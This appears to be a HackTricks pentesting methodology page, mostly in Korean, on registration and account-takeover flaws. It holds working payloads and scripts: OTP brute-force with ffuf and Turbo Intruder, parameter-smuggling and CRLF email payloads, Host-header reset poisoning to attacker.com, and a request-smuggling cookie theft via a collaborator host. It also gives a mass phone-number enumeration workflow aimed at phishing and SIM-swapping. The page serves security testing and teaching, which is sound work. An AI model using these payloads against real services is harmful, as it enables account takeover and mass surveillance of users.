๋“ฑ๋ก ๋ฐ Takeover ์ทจ์•ฝ์ 

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Registration Takeover

Duplicate Registration

  • ๊ธฐ์กด ์‚ฌ์šฉ์ž ์ด๋ฆ„์œผ๋กœ ๊ณ„์ • ์ƒ์„ฑ ์‹œ๋„
  • ์ด๋ฉ”์ผ ๋ณ€ํ˜• ํ™•์ธ:
  • ๋Œ€๋ฌธ์ž ์‚ฌ์šฉ
  • +1@
  • ์ด๋ฉ”์ผ์— ์  ์ถ”๊ฐ€
  • ์ด๋ฉ”์ผ ์ด๋ฆ„์— ํŠน์ˆ˜ ๋ฌธ์ž ์‚ฌ์šฉ (%00, %09, %20)
  • ์ด๋ฉ”์ผ ๋’ค์— ๊ณต๋ฐฑ ๋ฌธ์ž ๋„ฃ๊ธฐ: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • ์ด๋ฉ”์ผ ์ œ๊ณต์ž ์ •๊ทœํ™”(canonicalization) ์šฐํšŒ ์‹œ๋„(์„œ๋น„์Šค๋ณ„๋กœ ๋‹ค๋ฆ„):
  • Gmail์€ ์ ๊ณผ subaddressing ๋ฌด์‹œ: victim+1@gmail.com, v.ic.tim@gmail.com ๋Š” victim@gmail.com์œผ๋กœ ์ „๋‹ฌ๋จ
  • ์ผ๋ถ€ ์ œ๊ณต์ž๋Š” ๋กœ์ปฌ ํŒŒํŠธ์—์„œ ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„์„ ํ•˜์ง€ ์•Š์Œ
  • ์ผ๋ถ€ ์ œ๊ณต์ž๋Š” unicode confusables๋ฅผ ํ—ˆ์šฉํ•จ. ๋กœ์ปฌ ํŒŒํŠธ์— ์œ ์‚ฌ๋ฌธ์ž(homoglyphs)์™€ soft hyphen \u00AD ์‹œ๋„
  • ์ด๋ฅผ ์•…์šฉํ•ด: ๊ณ ์œ ์„ฑ ๊ฒ€์‚ฌ ์šฐํšŒ, ์ค‘๋ณต ๊ณ„์ •/workspace ์ดˆ๋Œ€ ํš๋“, ๋˜๋Š” takeover ์ค€๋น„ ์ค‘ ํ”ผํ•ด์ž ํšŒ์›๊ฐ€์ž… ์ฐจ๋‹จ(์ž„์‹œ DoS)

Username Enumeration

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ ํŠน์ • ์‚ฌ์šฉ์ž ์ด๋ฆ„์ด ์ด๋ฏธ ๋“ฑ๋ก๋˜์–ด ์žˆ๋Š”์ง€ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

  • ์„œ๋กœ ๋‹ค๋ฅธ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋‚˜ HTTP ์ƒํƒœ ์ฝ”๋“œ
  • ํƒ€์ด๋ฐ ์ฐจ์ด(๊ธฐ์กด ์‚ฌ์šฉ์ž๋Š” IdP/DB ์กฐํšŒ๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Œ)
  • ์•Œ๋ ค์ง„ ์ด๋ฉ”์ผ์— ๋Œ€ํ•œ ๋“ฑ๋ก ํผ์˜ ํ”„๋กœํ•„ ๋ฐ์ดํ„ฐ ์ž๋™์™„์„ฑ
  • ํŒ€/์ดˆ๋Œ€ ํ๋ฆ„ ํ™•์ธ: ์ด๋ฉ”์ผ ์ž…๋ ฅ ์‹œ ๊ณ„์ • ์กด์žฌ ์—ฌ๋ถ€๊ฐ€ ๋“œ๋Ÿฌ๋‚  ์ˆ˜ ์žˆ์Œ

Password Policy

์‚ฌ์šฉ์ž ์ƒ์„ฑ ์‹œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ •์ฑ…์„ ํ™•์ธํ•˜์„ธ์š”(์•ฝํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์‚ฌ์šฉ ๊ฐ€๋Šฅ ์—ฌ๋ถ€).
๊ทธ๋Ÿด ๊ฒฝ์šฐ ํฌ๋ž˜ํ‚น(๋ธŒ๋ฃจํŠธํฌ์Šค) ์‹œ๋„๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SQL Injection

Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

๋“ฑ๋ก๋œ ์ƒํƒœ์—์„œ ์ด๋ฉ”์ผ ๋ณ€๊ฒฝ์„ ์‹œ๋„ํ•˜๊ณ  ํ•ด๋‹น ๋ณ€๊ฒฝ์ด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ฒ€์ฆ๋˜๋Š”์ง€, ์ž„์˜์˜ ์ด๋ฉ”์ผ๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

More Checks

  • disposable emails(mailinator, yopmail, 1secmail ๋“ฑ)์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ๋˜๋Š” victim+mailinator@gmail.com ๊ฐ™์€ subaddressing์œผ๋กœ ์ฐจ๋‹จ๋ชฉ๋ก ์šฐํšŒ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธ
  • ๊ธด password(>200)๋Š” DoS๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Œ
  • ๊ณ„์ • ์ƒ์„ฑ์— ๋Œ€ํ•œ rate limits ํ™•์ธ
  • username@burp_collab.net ์‚ฌ์šฉ ํ›„ callback ๋ถ„์„
  • ์ „ํ™”๋ฒˆํ˜ธ ์ธ์ฆ์ด ์‚ฌ์šฉ๋œ๋‹ค๋ฉด, ์ „ํ™”๋ฒˆํ˜ธ ํŒŒ์‹ฑ/์ธ์ ์…˜ ์—ฃ์ง€์ผ€์ด์Šค ํ™•์ธ

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles

์ „ํ™”๋ฒˆํ˜ธ ์ค‘์‹ฌ ๋ฉ”์‹ ์ €๋Š” ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์—ฐ๋ฝ์ฒ˜๋ฅผ ๋™๊ธฐํ™”ํ•  ๋•Œ๋งˆ๋‹ค presence oracle์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. WhatsApp์˜ discovery ์š”์ฒญ์„ ์žฌ์ƒํ•˜๋ฉด ์—ญ์‚ฌ์ ์œผ๋กœ >100M lookups per hour๊ฐ€ ๊ฐ€๋Šฅํ•ด ๊ฑฐ์˜ ์™„์ „ํ•œ ๊ณ„์ • ์—ด๊ฑฐ๊ฐ€ ๊ฐ€๋Šฅํ–ˆ์Šต๋‹ˆ๋‹ค.

Attack workflow

  1. ๊ณต์‹ ํด๋ผ์ด์–ธํŠธ๋ฅผ ๊ณ„์ธก(instrument) ํ•˜์—ฌ ์ฃผ์†Œ๋ก ์—…๋กœ๋“œ ์š”์ฒญ(์ •๊ทœํ™”๋œ E.164 ๋ฒˆํ˜ธ์˜ ์ธ์ฆ๋œ blob)์„ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค. ๋™์ผํ•œ ์ฟ ํ‚ค/๊ธฐ๊ธฐ ํ† ํฐ์„ ์žฌ์‚ฌ์šฉํ•˜๋ฉด์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ƒ์„ฑํ•œ ๋ฒˆํ˜ธ๋กœ ์žฌ์ƒํ•ฉ๋‹ˆ๋‹ค.
  2. ํ•œ ์š”์ฒญ์— ๋‹ค์ˆ˜์˜ ๋ฒˆํ˜ธ ๋ฐฐ์น˜: WhatsApp์€ ์ˆ˜์ฒœ ๊ฐœ์˜ ์‹๋ณ„์ž๋ฅผ ํ—ˆ์šฉํ•˜๋ฉฐ ๋“ฑ๋ก/๋ฏธ๋“ฑ๋ก๊ณผ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ(๋น„์ฆˆ๋‹ˆ์Šค, companion ๋“ฑ)๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์‘๋‹ต์„ ์˜คํ”„๋ผ์ธ์œผ๋กœ ๋ถ„์„ํ•ด ํ”ผํ•ด์ž์—๊ฒŒ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ด์ง€ ์•Š๊ณ  ํƒ€๊นƒ ๋ฆฌ์ŠคํŠธ๋ฅผ ๊ตฌ์ถ•ํ•ฉ๋‹ˆ๋‹ค.
  3. SIM bank, cloud devices, ๋˜๋Š” residential proxies๋กœ ์—ด๊ฑฐ๋ฅผ ์ˆ˜ํ‰ ํ™•์žฅํ•˜์—ฌ ๊ณ„์ •/IP/ASN๋ณ„ ์“ฐ๋กœํ‹€๋ง์ด ๋ฐœ์ƒํ•˜์ง€ ์•Š๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Dialing-plan modeling

๊ฐ ๊ตญ๊ฐ€์˜ ๋‹ค์ด์–ผ๋ง ํ”Œ๋žœ์„ ๋ชจ๋ธ๋งํ•ด ์œ ํšจํ•˜์ง€ ์•Š์€ ํ›„๋ณด๋ฅผ ๊ฑด๋„ˆ๋›ฐ์„ธ์š”. NDSS dataset (country-table.*)์€ ๊ตญ๊ฐ€ ์ฝ”๋“œ, ์ฑ„ํƒ ๋ฐ€๋„, ํ”Œ๋žซํผ ๋ถ„ํ• ์„ ์ œ๊ณตํ•˜๋ฏ€๋กœ ์ ์ค‘๋ฅ ์ด ๋†’์€ ๋ฒ”์œ„๋ฅผ ์šฐ์„ ์ˆœ์œ„๋กœ ๋‘˜ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Example seeding code:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.

enumerations์„ ํ‘œ์ ํ™”๋œ ๊ณต๊ฒฉ์œผ๋กœ ์ „ํ™˜ํ•˜๊ธฐ

  • phishing, SIM-swapping, ๋˜๋Š” spamming ์ „์— ์–ด๋–ค ์‹ ์›์ด ์—ฌ์ „ํžˆ ํ™œ์„ฑ ์ƒํƒœ์ธ์ง€ ํŒŒ์•…ํ•˜๊ธฐ ์œ„ํ•ด leaked phone numbers(์˜ˆ: Facebookโ€™s 2021 breach)๋ฅผ oracle์— ํˆฌ์ž…ํ•˜์„ธ์š”.
  • ๊ตญ๊ฐ€/OS/์•ฑ ์œ ํ˜•๋ณ„๋กœ ์ธ๊ตฌ์กฐ์‚ฌ๋ฅผ ๋ถ„ํ• ํ•˜์—ฌ SMS filtering์ด ์•ฝํ•˜๊ฑฐ๋‚˜ WhatsApp Business ์ฑ„ํƒ๋ฅ ์ด ๋†’์€ ์ง€์—ญ์„ ์ฐพ์•„ ํ˜„์ง€ํ™”๋œ social engineering์— ํ™œ์šฉํ•˜์„ธ์š”.

Public-key reuse correlation

WhatsApp๋Š” ์„ธ์…˜ ์„ค์ • ์ค‘ ๊ฐ ๊ณ„์ •์˜ X25519 identity key๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  enumerated ๋ฒˆํ˜ธ์— ๋Œ€ํ•ด identity material์„ ์š”์ฒญํ•˜๊ณ  public keys๋ฅผ ์ค‘๋ณต ์ œ๊ฑฐํ•˜๋ฉด account farms, cloned clients, ๋˜๋Š” insecure firmware๊ฐ€ ๋“œ๋Ÿฌ๋‚ฉ๋‹ˆ๋‹ค โ€” shared keys๋Š” multi-SIM ์šด์˜์˜ ์ต๋ช…์„ฑ์„ ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

Registration flows๋Š” ์ข…์ข… ์ˆซ์ž OTP ๋˜๋Š” magic-link ํ† ํฐ์œผ๋กœ ์†Œ์œ ๊ถŒ์„ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ์ทจ์•ฝ์ :

  • ์ถ”์ธก ๊ฐ€๋Šฅํ•˜๊ฑฐ๋‚˜ ์งง์€ OTP(4โ€“6 digits)๋กœ rate limiting์ด๋‚˜ IP/device tracking์ด ํšจ๊ณผ์ ์ด์ง€ ์•Š์€ ๊ฒฝ์šฐ. ๋ณ‘๋ ฌ ์ถ”์ธก ๋ฐ header/IP ํšŒ์ „์„ ์‹œ๋„ํ•˜์„ธ์š”.
  • OTP๊ฐ€ ์—ฌ๋Ÿฌ ๋™์ž‘ ๋˜๋Š” ๊ณ„์ •์—์„œ ์žฌ์‚ฌ์šฉ๋˜๊ฑฐ๋‚˜ ํŠน์ • ์‚ฌ์šฉ์ž/๋™์ž‘์— ๋ฐ”์ธ๋”ฉ๋˜์–ด ์žˆ์ง€ ์•Š์€ ๊ฒฝ์šฐ(์˜ˆ: ๋™์ผ ์ฝ”๋“œ๊ฐ€ login๊ณผ signup์— ๋ชจ๋‘ ์ž‘๋™ํ•˜๊ฑฐ๋‚˜ ์ด๋ฉ”์ผ ๋ณ€๊ฒฝ ํ›„์—๋„ ์ž‘๋™).
  • Multi-value smuggling: ์ผ๋ถ€ ๋ฐฑ์—”๋“œ๋Š” ์—ฌ๋Ÿฌ ์ฝ”๋“œ๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ๊ทธ์ค‘ ํ•˜๋‚˜๋ผ๋„ ์ผ์น˜ํ•˜๋ฉด ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค. ์‹œ๋„ํ•ด๋ณด์„ธ์š”:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: status/message/body ๊ธธ์ด๋กœ wrong vs expired vs wrong-user ์ฝ”๋“œ๋ฅผ ๊ตฌ๋ถ„ํ•˜์„ธ์š”.
  • ํ† ํฐ์ด ์„ฑ๊ณต ํ›„ ๋˜๋Š” password/email ๋ณ€๊ฒฝ ํ›„ ๋ฌดํšจํ™”๋˜์ง€ ์•Š์Œ.
  • Verification token์ด user agent/IP์— ๋ฌถ์—ฌ์žˆ์ง€ ์•Š์•„ attacker-controlled ํŽ˜์ด์ง€์—์„œ cross-origin์œผ๋กœ ์™„๋ฃŒ๋  ์ˆ˜ ์žˆ์Œ.

Bruteforcing example with ffuf against a JSON OTP endpoint:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

์ˆœ์ฐจ์  ์ž ๊ธˆ(sequential lockouts)์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•œ Parallel/concurrent guessing (Burp์˜ Turbo Intruder ์‚ฌ์šฉ):

6์ž๋ฆฌ OTP ์‹œ๋„๋ฅผ ๋Œ€๋Ÿ‰์œผ๋กœ ์ „์†กํ•˜๊ธฐ ์œ„ํ•œ Turbo Intruder ์Šค๋‹ˆํŽซ ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and bโ€™Invalidโ€™ not in req.response: table.add(req)

</details>

- Try racing verification: ๋™์ผํ•œ ์œ ํšจํ•œ OTP๋ฅผ ๋‘ ๊ฐœ์˜ ์„ธ์…˜์—์„œ ๋™์‹œ์— ์ œ์ถœํ•ด ๋ณด์„ธ์š”; ๋•Œ๋กœ๋Š” ํ•œ ์„ธ์…˜์ด ๊ฒ€์ฆ๋œ attacker account๊ฐ€ ๋˜๋Š” ๋™์•ˆ ํ”ผํ•ด์ž ํ๋ฆ„๋„ ์„ฑ๊ณตํ•ฉ๋‹ˆ๋‹ค.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Preโ€‘Hijacking Techniques (before the victim signs up)

A powerful class of issues occurs when an attacker performs actions on the victimโ€™s email before the victim creates their account, then regains access later.

Key techniques to test (adapt to the targetโ€™s flows):

- Classicโ€“Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attackerโ€™s access
- Unexpired Session Identifier
- Attacker: creates account and holds a longโ€‘lived session (donโ€™t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the preโ€‘created account (phone, additional email, or links attackerโ€™s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates emailโ€‘change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending emailโ€‘change to steal the account
- Nonโ€‘Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@โ€ฆ`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification

Practical tips

- ์›น/๋ชจ๋ฐ”์ผ ๋ฒˆ๋“ค์—์„œ ํ๋ฆ„๊ณผ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ˆ˜์ง‘ํ•˜์„ธ์š”. classic signup, SSO linking, email/phone change, ๊ทธ๋ฆฌ๊ณ  password reset ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ฐพ์œผ์„ธ์š”.
- ๋‹ค๋ฅธ ํ๋ฆ„์„ ํ…Œ์ŠคํŠธํ•˜๋Š” ๋™์•ˆ ์„ธ์…˜์„ ์œ ์ง€ํ•˜๋„๋ก ํ˜„์‹ค์ ์ธ ์ž๋™ํ™”๋ฅผ ๋งŒ๋“œ์„ธ์š”.
- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
- ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ • ๋˜๋Š” ์ด๋ฉ”์ผ ๋ณ€๊ฒฝ ํ›„์—๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:
- ๋ชจ๋“  ๋‹ค๋ฅธ ์„ธ์…˜๊ณผ ํ† ํฐ์ด ๋ฌดํšจํ™”๋˜์—ˆ๋Š”์ง€,
- ๋ณด๋ฅ˜ ์ค‘์ธ ์ด๋ฉ”์ผ/์ „ํ™” ๋ณ€๊ฒฝ ๊ธฐ๋Šฅ์ด ์ทจ์†Œ๋˜์—ˆ๋Š”์ง€,
- ์ด์ „์— ์—ฐ๋™๋œ IdPs/์ด๋ฉ”์ผ/์ „ํ™”๋ฒˆํ˜ธ๊ฐ€ ์žฌ๊ฒ€์ฆ๋˜์—ˆ๋Š”์ง€.

Note: Extensive methodology and case studies of these techniques are documented by Microsoftโ€™s preโ€‘hijacking research (see References at the end).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Request password reset to your email address
2. Click on the password reset link
3. Donโ€™t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. Attacker๋Š” ์ž์‹ ์˜ ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•œ ํ›„ Change password ๊ธฐ๋Šฅ์œผ๋กœ ์ด๋™ํ•ด์•ผ ํ•œ๋‹ค.
  2. Burp Suite๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์š”์ฒญ์„ Interceptํ•œ๋‹ค.
  3. ์š”์ฒญ์„ Repeater ํƒญ์œผ๋กœ ๋ณด๋‚ด๊ณ  ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ˆ˜์ •ํ•œ๋‹ค: User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

The password reset token should be randomly generated and unique every time.
ํ† ํฐ์ด ๋งŒ๋ฃŒ๋˜๋Š”์ง€ ๋˜๋Š” ํ•ญ์ƒ ๋™์ผํ•œ์ง€ ํ™•์ธํ•ด๋ณด๋ผ. ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ์ƒ์„ฑ ์•Œ๊ณ ๋ฆฌ์ฆ˜์ด ์•ฝํ•ด ์ถ”์ธก๋  ์ˆ˜ ์žˆ๋‹ค. ์•Œ๊ณ ๋ฆฌ์ฆ˜์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๋ณ€์ˆ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Number only
  • Small token sequence ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. ํŠน์ • ์ด๋ฉ”์ผ(e.g: test@mail.com)์— ๋Œ€ํ•ด API/UI๋ฅผ ์‚ฌ์šฉํ•ด password reset ์š”์ฒญ์„ ํŠธ๋ฆฌ๊ฑฐํ•œ๋‹ค.
  2. ์„œ๋ฒ„ ์‘๋‹ต์„ ๊ฒ€์‚ฌํ•˜๊ณ  resetToken์„ ํ™•์ธํ•œ๋‹ค.
  3. ๊ทธ๋Ÿฐ ๋‹ค์Œ ํ† ํฐ์„ ๋‹ค์Œ๊ณผ ๊ฐ™์€ URL์— ์‚ฌ์šฉํ•œ๋‹ค: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. ํ”ผํ•ด์ž์˜ username๊ณผ ๋™์ผํ•˜์ง€๋งŒ username ์•ž๋’ค๋กœ ๊ณต๋ฐฑ์„ ์‚ฝ์ž…ํ•œ ์‚ฌ์šฉ์ž๋ช…์œผ๋กœ ์‹œ์Šคํ…œ์— ๋“ฑ๋กํ•œ๋‹ค. e.g: "admin "
  2. ์•…์˜์ ์ธ username์œผ๋กœ password reset์„ ์š”์ฒญํ•œ๋‹ค.
  3. ์ด๋ฉ”์ผ๋กœ ์ „์†ก๋œ ํ† ํฐ์„ ์‚ฌ์šฉํ•ด ํ”ผํ•ด์ž์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์žฌ์„ค์ •ํ•œ๋‹ค.
  4. ์ƒˆ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ํ”ผํ•ด์ž ๊ณ„์ •์— ๋กœ๊ทธ์ธํ•œ๋‹ค.

ํ”Œ๋žซํผ CTFd๋Š” ์ด ๊ณต๊ฒฉ์— ์ทจ์•ฝํ–ˆ๋‹ค.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด๋‚˜ ์„œ๋ธŒ๋„๋ฉ”์ธ์—์„œ XSS๋ฅผ ์ฐพ๋Š”๋‹ค โ€” ์ฟ ํ‚ค๊ฐ€ ๋ถ€๋ชจ ๋„๋ฉ”์ธ์œผ๋กœ scope๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ: *.domain.com
  2. Leak the current sessions cookie
  3. ํ•ด๋‹น ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž๋กœ ์ธ์ฆํ•œ๋‹ค.

Account Takeover Via HTTP Request Smuggling

  1. smuggler๋ฅผ ์‚ฌ์šฉํ•ด HTTP Request Smuggling ์œ ํ˜•(CL, TE, CL.TE)์„ ํƒ์ง€ํ•œ๋‹ค.
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. ๋‹ค์Œ ๋ฐ์ดํ„ฐ๋กœ POST / HTTP/1.1๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ์š”์ฒญ์„ ๊ตฌ์„ฑํ•œ๋‹ค:
    GET http://something.burpcollaborator.net HTTP/1.1 X: โ€” ๋ชฉ์ ์€ victims๋ฅผ burpcollab๋กœ open redirect ์‹œ์ผœ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•˜๋Š” ๊ฒƒ์ด๋‹ค.\
  3. ์ตœ์ข… ์š”์ฒญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด์ผ ์ˆ˜ ์žˆ๋‹ค
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone์—์„œ ์ด ๋ฒ„๊ทธ๋ฅผ ์•…์šฉํ–ˆ๋‹ค๊ณ  ๋ณด๊ณ ํ•จ\

CSRF๋ฅผ ํ†ตํ•œ ๊ณ„์ • ํƒˆ์ทจ

  1. CSRF์šฉ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑ, ์˜ˆ: โ€œHTML form with auto submit for a password changeโ€
  2. ํŽ˜์ด๋กœ๋“œ ์ „์†ก

JWT๋ฅผ ํ†ตํ•œ ๊ณ„์ • ํƒˆ์ทจ

JSON Web Token์€ ์‚ฌ์šฉ์ž ์ธ์ฆ์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • JWT์˜ User ID / Email์„ ๋‹ค๋ฅธ ๊ฒƒ์œผ๋กœ ์ˆ˜์ •
  • ์ทจ์•ฝํ•œ JWT ์„œ๋ช… ์—ฌ๋ถ€ ํ™•์ธ

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

์ผ๋ถ€ signup ํ•ธ๋“ค๋Ÿฌ๋Š” ์ œ๊ณต๋œ ์ด๋ฉ”์ผ์ด ์ด๋ฏธ ์กด์žฌํ•  ๋•Œ upsert๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ endpoint๊ฐ€ ์ด๋ฉ”์ผ๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋งŒ ํฌํ•จ๋œ ์ตœ์†Œํ•œ์˜ ๋ฐ”๋””๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ์†Œ์œ ๊ถŒ ๊ฒ€์ฆ์„ ๊ฐ•์ œํ•˜์ง€ ์•Š์œผ๋ฉด, ํ”ผํ•ด์ž์˜ ์ด๋ฉ”์ผ์„ ์ „์†กํ•˜์—ฌ ์ธ์ฆ ์ด์ „์— ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ๋ฐœ๊ฒฌ: ๋ฒˆ๋“ค๋œ JS(๋˜๋Š” ๋ชจ๋ฐ”์ผ ์•ฑ ํŠธ๋ž˜ํ”ฝ)์—์„œ endpoint ์ด๋ฆ„์„ ์ˆ˜์ง‘ํ•œ ๋’ค, ffuf/dirsearch๋ฅผ ์‚ฌ์šฉํ•ด /parents/application/v4/admin/FUZZ ๊ฐ™์€ base path๋ฅผ fuzzํ•ฉ๋‹ˆ๋‹ค.
